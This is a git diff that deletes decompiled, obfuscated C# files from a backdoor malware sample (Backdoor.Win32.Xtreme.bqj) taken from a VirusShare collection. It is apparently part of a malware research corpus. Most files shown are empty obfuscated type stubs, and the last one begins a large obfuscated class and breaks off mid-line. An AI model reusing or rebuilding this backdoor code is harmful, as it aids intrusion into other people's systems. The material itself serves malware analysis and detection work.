a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081ù.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081ù.cs deleted file mode 100644 index 24d70e12..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0081ù.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.ù -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(64)] - internal enum \u0081ù - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082_0084.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082_0084.cs deleted file mode 100644 index bbf37091..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082_0084.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚„ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - internal enum \u0082\u0084 - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082_0088.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082_0088.cs deleted file mode 100644 index ca30fa23..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082_0088.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚ˆ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [UnsafeValueType] - [NativeCppClass] - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 544)] - internal struct \u0082\u0088 - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082_008A.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082_008A.cs deleted file mode 100644 index 235d0bbe..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082_008A.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚Š -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - internal enum \u0082\u008A - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082_008E.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082_008E.cs deleted file mode 100644 index b227bb65..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082_008E.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚Ž -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 16)] - internal struct \u0082\u008E - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082_0094.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082_0094.cs deleted file mode 100644 index a68485d4..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082_0094.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚” -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - internal enum \u0082\u0094 - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082_0095.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082_0095.cs deleted file mode 100644 index 3f34bc34..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082_0095.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚• -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [MiscellaneousBits(64)] - [DebugInfoInPDB] - internal enum \u0082\u0095 - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082_009A.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082_009A.cs deleted file mode 100644 index c682013b..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082_009A.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚š -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(65)] - [NativeCppClass] - [DebugInfoInPDB] - [UnsafeValueType] - [StructLayout(LayoutKind.Sequential, Size = 64)] - internal struct \u0082\u009A - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082¢.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082¢.cs deleted file mode 100644 index b7c55154..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082¢.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚¢ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [MiscellaneousBits(64)] - [DebugInfoInPDB] - internal enum \u0082\u00A2 - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082¥.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082¥.cs deleted file mode 100644 index 2ba27d50..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082¥.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚¥ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 224)] - internal struct \u0082\u00A5 - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082¦.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082¦.cs deleted file mode 100644 index cabaa149..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082¦.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚¦ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - internal enum \u0082\u00A6 - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082§.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082§.cs deleted file mode 100644 index 3af8a32d..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082§.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚§ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 248)] - internal struct \u0082\u00A7 - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082¨.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082¨.cs deleted file mode 100644 index 5dd0ae55..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082¨.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚¨ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 32)] - internal struct \u0082\u00A8 - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082©.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082©.cs deleted file mode 100644 index 7a10a007..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082©.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚© -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [DebugInfoInPDB] - [NativeCppClass] - internal enum \u0082\u00A9 - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082­.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082­.cs deleted file mode 100644 index 4f2df2b2..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082­.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚­ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - internal enum \u0082\u00AD - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082².cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082².cs deleted file mode 100644 index 43d950a1..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082².cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚² -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(65)] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 8)] - internal struct \u0082\u00B2 - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082³.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082³.cs deleted file mode 100644 index 011b5603..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082³.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚³ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 8)] - internal struct \u0082\u00B3 - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082¶.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082¶.cs deleted file mode 100644 index 7ca0ae29..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082¶.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚¶ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(64)] - internal enum \u0082\u00B6 - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082º.cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082º.cs deleted file mode 100644 index ed727046..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082º.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚º -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct \u0082º - { - } -} diff --git a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082».cs b/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082».cs deleted file mode 100644 index a9926acc..00000000 --- a/MSIL/Backdoor/Win32/X/Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6/_0082¼/_0082».cs +++ /dev/null @@ -1,1424 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚» -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe - -using \u0082\u00BC; -using å; -using õ; -using PvLogiciels.dotNetProtector; -using System; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.ConstrainedExecution; -using System.Runtime.InteropServices; -using System.Security; -using System.Threading; - -namespace \u0082\u00BC -{ - internal class \u0082\u00BB - { - internal static \u00BF \u00BC; - [FixedAddressValueType] - internal static int \u00B8; - internal static __FnPtr \u009F; - internal static \u00BF \u0087; - [FixedAddressValueType] - internal static \u00AE.\u00A9 \u0081ç; - internal static __FnPtr \u0082\u00A3; - [FixedAddressValueType] - internal static bool \u0082\u0080; - internal static __FnPtr \u0081ë; - internal static \u00BF \u0081Ë; - [FixedAddressValueType] - internal static \u00AE.\u00A9 \u0081Æ; - internal static __FnPtr \u0081\u00AE; - [FixedAddressValueType] - internal static int \u0081\u0096; - internal static __FnPtr \u0081\u0087; - internal static \u00BF ð; - [FixedAddressValueType] - internal static \u00AE.\u00A9 ê; - internal static __FnPtr \u0082\u00B1; - internal static \u00BF \u00B2; - [FixedAddressValueType] - internal static \u00AE.\u00A9 \u00A7; - internal static __FnPtr \u008F; - internal static bool \u0081Ì; - internal static bool \u0082\u009B; - internal static bool \u0082\u0089; - internal static int \u0081ó; - internal static uint \u0081à; - internal static uint \u0081Ð; - internal static \u008E.\u00A9 \u0081Á; - internal static uint \u0082µ; - internal static uint \u0081\u009E; - internal static uint \u0081\u0092; - internal static \u008E.\u00A9 \u0081\u0082; - internal static bool ï; - internal static \u00BF \u00D7; - public static unsafe int** Ð; - public static unsafe int** \u00BD; - internal static __FnPtr \u009E; - [FixedAddressValueType] - internal static uint \u0097; - [FixedAddressValueType] - internal static \u0082\u0098 \u0091; - internal static __FnPtr \u0082\u00B7; - [FixedAddressValueType] - internal static unsafe __FnPtr* \u0082\u009F; - internal static uint \u0082\u0097; - internal static unsafe __FnPtr* \u0082\u008D; - internal static unsafe __FnPtr* \u0082\u0085; - [FixedAddressValueType] - internal static unsafe __FnPtr* \u0081ü; - internal static int \u0081ô; - internal static int \u0081ñ; - internal static int \u0081í; - internal static int \u0081å; - internal static int \u0081ß; - internal static int \u0024; - internal static int \u0081Ú; - public static \u00A6 \u0081Ã; - public static volatile uint æ; - public static \u00A6 ß; - public static \u0099 Ú; - public static volatile \u0094 \u0081\u00B6; - public static \u0099 \u0081\u00B1; - public static unsafe void* \u0081\u00AD; - public static volatile uint \u0081\u00A8; - public static unsafe __FnPtr* \u0081\u00A2; - public static unsafe __FnPtr* \u0081\u009F; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool Ë() => \u0082\u00BB.\u0081\u00A8 != uint.MaxValue; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool À() => \u0082\u00BB.\u0081\u00A8 == 1U; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u00AF() => \u0082\u00BB.\u0081\u00A8 == 